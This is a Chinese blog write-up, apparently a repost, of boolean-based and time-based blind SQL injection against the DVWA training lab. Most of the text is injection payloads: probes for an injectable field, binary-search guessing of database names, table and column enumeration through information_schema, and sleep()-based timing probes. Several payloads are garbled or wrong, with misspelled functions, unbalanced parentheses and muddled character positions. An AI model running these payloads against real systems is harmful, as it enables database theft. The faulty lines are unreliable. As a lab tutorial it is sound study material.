DVWA-SQL盲注

基于布尔的盲注

  1. 判断是否存在注入,注入是字符型还是数字型
    输入1’and ‘1’=‘1,判断条件正确
    在这里插入图片描述
    输入1’ and ‘1’=‘2,判断条件错误
    在这里插入图片描述
    由此判断存在字符型注入
    2.猜解当前数据库名
    猜数据库名的长度
    输入1’ and length(database())=4#
    在这里插入图片描述
    确定长度为4
    然后猜数据库名字,可用二分法节省时间
    输入1’ and ascii(substr(databse(),0,1))=0 #,显示存在,说明数据库名的第1个字符的ascii值为0(空字符)
    输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第2个字符的ascii值大于97(小写字母a的ascii值);
    输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第2个字符的ascii值小于122(小写字母z的ascii值);
    输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第2个字符的ascii值小于109(小写字母m的ascii值);
    输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第2个字符的ascii值小于103(小写字母g的ascii值);
    输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第2个字符的ascii值不小于100(小写字母d的ascii值);
    输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第2个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
    在这里插入图片描述
    3.猜解数据库中的表名
    首先猜解数据库中表的数量:
    1’and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
    1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
    说明数据库中共有两个表。

4.猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
省略
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为9。
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名(guestbook、users)。
4.猜解表中的字段名
猜解字段长度
1’and length (substr(select column_name from information_schame.columns where table_name=’users’ limit 0,1),1))=1 #显示不存在
1’and length (substr(select column_name from information_schame.columns where table_name=’users’ limit 0,1),1))=2#显示存在]
猜解字段名
1’and ascaii (substr(select column_name from information_schame.columns where table_name=’users’ limit 0,1),1))=97#显示存在
省略
5.猜解数据
步骤同上,先猜数据数目,再猜值

中级与低级类似,但注入类型为数字型注入,并且需要使用bp进行注入
高级与低级相同

基于时间的盲注

1.判断是否存在注入,注入是字符型还是数字型
输入1’ and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟;
说明存在字符型的基于时间的盲注。
2.猜解当前数据库名
首先猜解数据名的长度:
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 明显延迟
说明数据库名长度为4个字符。
接着采用二分法猜解数据库名:
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。
重复上述步骤,即可猜解出数据库名。
猜表名,字段名,数据方法与上述类似

经验总结:

1.在猜数据库,表,列等数量时,采用二分法会更有效率
2.在猜数据库,表,列等名字时,尽可能优先尝试经常采用的名字
3.使用正则表达式和like语句
3.可以写脚本自动注入,提高盲注的效率
4.可以使用sqlmap注入,再手工验证保证准确性
发布了13 篇原创文章 · 获赞 0 · 访问量 285

猜你喜欢

转载自blog.csdn.net/bc221yz/article/details/104683827